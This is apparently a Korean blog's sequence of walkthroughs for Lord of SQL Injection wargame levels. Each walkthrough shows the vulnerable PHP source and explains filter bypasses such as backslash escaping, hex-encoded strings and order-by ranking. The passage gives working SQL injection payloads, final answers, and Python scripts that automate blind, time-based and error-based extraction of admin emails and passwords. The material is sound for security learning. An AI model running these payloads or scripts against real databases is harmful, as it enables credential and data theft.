빨간 글자 부분은 %23(#) 한 줄 주석에 의해 주석처리되며 %0a에 의해 no=까지만 주석처리된다. 123은 다음 줄이므로 주석처리 되지 않는다. 결국 다음과 같은 쿼리가 된다. 참고로 || 는 sql에서 or의 역할을 한다. 다만 or을 쓰면 orno형태가 되어 or 기능을 못한다. 그래서 띄어쓰기를 하려 하면 id 길이가 7이 넘게 된다. 그래서 ||를 써야 한다.
select id from prob_red_dragon where id=''||no>123
이를 기반으로 이진 탐색방식으로 no값을 추적하면 된다.
답: ?no=586482014
frankenstein (2) | 2023.01.02 |
---|---|
blue_dragon (0) | 2023.01.02 |
green_dragon (2) | 2023.01.02 |
evil_wizard (0) | 2023.01.02 |
hell_fire (2) | 2023.01.01 |
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\'|\"/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\'|\"/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id,pw from prob_green_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']){
if(preg_match('/prob|_|\.|\'|\"/i', $result['id'])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\'|\"/i', $result['pw'])) exit("No Hack ~_~");
$query2 = "select id from prob_green_dragon where id='{$result[id]}' and pw='{$result[pw]}'";
echo "<hr>query2 : <strong>{$query2}</strong><hr><br>";
$result = mysqli_fetch_array(mysqli_query($db,$query2));
if($result['id'] == "admin") solve("green_dragon");
}
highlight_file(__FILE__);
?>
처음 필터링한 후 쿼리를 실행하고 나온 결과 값으로 다시 필터링 후 쿼리를 실행한다.
싱글쿼터가 막혀있어 우회가 쉽지 않다.
이 문제는 백슬래쉬(\)를 사용한다. sql 뿐만 아니라 프로그래밍 언어에선 주로 특수문자를 문자 그 자체로 사용하고 싶을 때
앞에 \를 붙인다. 그럼 기존의 역할을 하지 않고 문자 그 자체의 역할을 한다. 그리고 이것을 이스케이프 처리한다고 한다.
우선 답은 다음과 같다.
답: ?id=\&pw=union select 0x5c,0x756E696F6E2073656C6563742030783631363436643639366523%23
그럼 다음과 같이 쿼리가 완성된다.
query : select id,pw from prob_green_dragon where id='\' and pw='union select 0x5c,0x756E696F6E2073656C6563742030783631363436643639366523#'
이스케이프 처리를 하여 빨간 글자가 id가 된다.(정확히는 '는 이스케이프 처리 되어 문자 그 자체가 된다. 따라서 id는 ' and pw= 가 된다.) 뒤에 union select가 붙으면서 쿼리 실행결과 \(0x5c)와 union select
0x61646d696e#가 반환된다. 0x756~부분은 MySql에서 select hex('union select 0x61646d696e#');을 실행한 결과이다. 즉
union select 0x61646d696e#라는 문자열을 16진수로 표현한 것이다. 문자열을 전달해야 하는데 싱글쿼터가 막혔으므로
이를 우회하기 위해 16진수로 표현한 값을 전달한다. mysql에서는 16진수가 문자와 같은 역할을 한다.
ex)'admin'=0x61646d696e
query2 : select id from prob_green_dragon where id='\' and pw='union select 0x61646d696e#'
query 실행결과 query2가 완성된다. 이 경우도 이스케이프 처리로 id는 빨간 글자가 된다.(마찬가지로 정확히는 id가 ' and pw=가 된다.) 두 번째 쿼리도 첫 번째 쿼리에서 처리되는 방식과 같다. id가 ' and pw=인 행은 없기에 union select 결과 'admin'(=0x61646d696e)이 반환되어 통과한다.
blue_dragon (0) | 2023.01.02 |
---|---|
red_dragon (0) | 2023.01.02 |
evil_wizard (0) | 2023.01.02 |
hell_fire (2) | 2023.01.01 |
dark_eyes (0) | 2023.01.01 |
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|proc|union|sleep|benchmark/i', $_GET[order])) exit("No Hack ~_~");
$query = "select id,email,score from prob_evil_wizard where 1 order by {$_GET[order]}"; // same with hell_fire? really?
echo "<table border=1><tr><th>id</th><th>email</th><th>score</th>";
$rows = mysqli_query($db,$query);
while(($result = mysqli_fetch_array($rows))){
if($result['id'] == "admin") $result['email'] = "**************";
echo "<tr><td>{$result[id]}</td><td>{$result[email]}</td><td>{$result[score]}</td></tr>";
}
echo "</table><hr>query : <strong>{$query}</strong><hr>";
$_GET[email] = addslashes($_GET[email]);
$query = "select email from prob_evil_wizard where id='admin' and email='{$_GET[email]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['email']) && ($result['email'] === $_GET['email'])) solve("evil_wizard");
highlight_file(__FILE__);
?>
hell_fire 문제와 유사하지만 Time Based SQL Injection을 할 수가 없다.
이번엔 정렬 순서를 이용한다. order by 뒤엔 칼럼명이 온다. 근데 숫자로 대체 가능하다.
select id, pw from member order by 1;
이 쿼리에선 1은 id를 의미한다. 그럼 pw는 2일 것이다. 그리고 출력하는 열이 2개이므로 2까지만 사용가능하다.
결과적으로 id를 기준으로 디폴트값인 오름차순으로 정렬된다.
근데 order by 뒤에 if 함수가 온다면 숫자의 역할이 달라진다.
select id, pw from member order by if(id='admin' or id='hello', 0,1);
이 쿼리의 경우 id가 admin이거나 hello의 경우는 먼저 출력되고 나머지는 그다음에 출력된다.
즉, admin과 hello는 우선순위가 0이 되어 먼저 출력, 나머진 우선순위가 1이 되어 나중에 출력된다.
기존의 칼럼명 역할이 아닌 우선순위 역할을 한다고 보면 된다. 우선순위 값이 작을수록 먼저 출력.
그리고 0,1 이 아닌 어떠한 자연수를 써도 가능하다.
import requests
url='https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php'
cookie={'PHPSESSID':'자신의 세션 id'}
HEX='0123456789ABCDEF'
#60
def find_email_len():
em_len=1
while True:
r=requests.get(url+"?order=if(id='admin' and length(hex(email))={},0,1)".format(em_len),cookies=cookie)
if '50</td></tr><tr><td>rubiya' in r.text:
return em_len
else:
em_len+=1
#aasup3r_secure_email@emai1.com
def find_email():
em_len=find_email_len()
tmp=''
for i in range(1,em_len+1):
for j in HEX:
r=requests.get(url+"?order=if(id='admin' and substr(hex(email),{},1)='{}',0,1)".format(i,j),cookies=cookie)
if '50</td></tr><tr><td>rubiya' in r.text:
tmp+=j
if len(tmp)==2:
print(chr(int(tmp,16)),end="")
tmp=''
break
find_email()
if문이 참이면 우선순위가 0이 되어 admin이 먼저 출력된다. 거짓이면 rubiya가 먼저 출력된다.
이를 기반으로 Blind SQL Injection을 수행했다.
코드 상의 tmp 변수에는 pw 문자 하나에 해당하는 0x를 제외한 16진수가 저장된다.
ex) pw에 알파벳 a가 있다면 tmp에는 '61'이 저장된다.
int(tmp,16)을 하면 10진수로 변환된다. 16은 tmp가 16진수임을 의미.
답: ?email=aasup3r_secure_email@emai1.com
red_dragon (0) | 2023.01.02 |
---|---|
green_dragon (2) | 2023.01.02 |
hell_fire (2) | 2023.01.01 |
dark_eyes (0) | 2023.01.01 |
iron_golem (0) | 2023.01.01 |
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|proc|union/i', $_GET[order])) exit("No Hack ~_~");
$query = "select id,email,score from prob_hell_fire where 1 order by {$_GET[order]}";
echo "<table border=1><tr><th>id</th><th>email</th><th>score</th>";
$rows = mysqli_query($db,$query);
while(($result = mysqli_fetch_array($rows))){
if($result['id'] == "admin") $result['email'] = "**************";
echo "<tr><td>{$result[id]}</td><td>{$result[email]}</td><td>{$result[score]}</td></tr>";
}
echo "</table><hr>query : <strong>{$query}</strong><hr>";
$_GET[email] = addslashes($_GET[email]);
$query = "select email from prob_hell_fire where id='admin' and email='{$_GET[email]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['email']) && ($result['email'] === $_GET['email'])) solve("hell_fire");
highlight_file(__FILE__);
?>
order by는 정렬에 사용하는 문법이다. 뒤에 칼럼명이 오면 해당 칼럼명을 기준으로 정렬한다. 숫자로 칼럼명을 대체하는 게 가능한데 order by 뒤에 if 함수가 사용되면 숫자의 역할이 달라진다. 하지만 이 문제에선 sleep 여부로 SQL Injection을 수행하기에 중요하진 않다.
Time Based SQL Injection이 가능하기에 sleep 함수를 사용하여 if문 조건이 참인 경우 2초 동안 sleep을 하도록 하였다.
import requests
import time
url='https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php'
cookie={'PHPSESSID':'자신의 세션 id'}
HEX='0123456789ABCDEF'
#56
def find_email_len():
em_len=1
while True:
start=time.time()
r=requests.get(url+"?order=if(id='admin' and length(hex(email))={},sleep(2),1)".format(em_len),cookies=cookie)
end=time.time()
if end-start>2:
return em_len
else:
em_len+=1
#admin_secure_email@emai1.com
def find_email():
em_len=find_email_len()
tmp=''
for i in range(1,em_len+1):
for j in HEX:
start=time.time()
r=requests.get(url+"?order=if(id='admin' and substr(hex(email),{},1)='{}',sleep(2),1)".format(i,j),cookies=cookie)
end=time.time()
if end-start>2:
tmp+=j
if len(tmp)==2:
print(chr(int(tmp,16)),end="")
tmp=''
break
find_email()
답: ?email=admin_secure_email@emai1.com
green_dragon (2) | 2023.01.02 |
---|---|
evil_wizard (0) | 2023.01.02 |
dark_eyes (0) | 2023.01.01 |
iron_golem (0) | 2023.01.01 |
dragon (0) | 2023.01.01 |
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/col|if|case|when|sleep|benchmark/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(mysqli_error($db)) exit(); //error문 출력은 안되지만 error가 발생하면 빈 페이지 출력. 이를 기반으로 Error Based SQL Injection 수행.
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("dark_eyes");
highlight_file(__FILE__);
?>
공격구문은 다음과 같다.
?pw=' or id='admin' and (select 1 union select length(hex(pw))={})%23
union 뒤의 구문이 거짓이라면 where 절에 행이 2개(1,0)가 반환되며 Subquery returns more than 1 row 에러가 발생한다.
참고로 참이면 select 1 union select 1은 행 1개(1)를 반환한다. 즉, 연속된 같은 값이면 하나로 통일한다.
error가 출력은 안되지만 error가 발생하면 빈 페이지가 나타난다. 이를 기반으로 Error Based SQL Injection 수행한다.
pw 찾는 속도를 높이기 위해 이번에도 hex 함수를 이용했다.
hex함수는 16진수 값을 반환하기에 '0123456789ABCDEF' 만 비교하여 빠르게 답을 찾을 수 있다.
import requests
url='https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php'
cookie={'PHPSESSID':'자신의 세션 id'}
HEX='0123456789ABCDEF'
#16
def find_pw_len():
pw_len=1
while True:
r=requests.get(url+"?pw=' or id='admin' and (select 1 union select length(hex(pw))={})%23".format(pw_len),cookies=cookie)
if 'query' in r.text:
return pw_len
else:
pw_len+=1
#5a2f5d3c
def find_pw():
pw_len=find_pw_len()
tmp=''
for i in range(1,pw_len+1):
for j in HEX:
r=requests.get(url+"?pw=' or id='admin' and (select 1 union select substr(hex(pw),{},1)='{}')%23".format(i,j),cookies=cookie)
if 'query' in r.text:
tmp+=j
if len(tmp)==2:
print(chr(int(tmp,16)),end="")
tmp=''
break
find_pw()
답: ?pw=5a2f5d3c
evil_wizard (0) | 2023.01.02 |
---|---|
hell_fire (2) | 2023.01.01 |
iron_golem (0) | 2023.01.01 |
dragon (0) | 2023.01.01 |
xavis (2) | 2023.01.01 |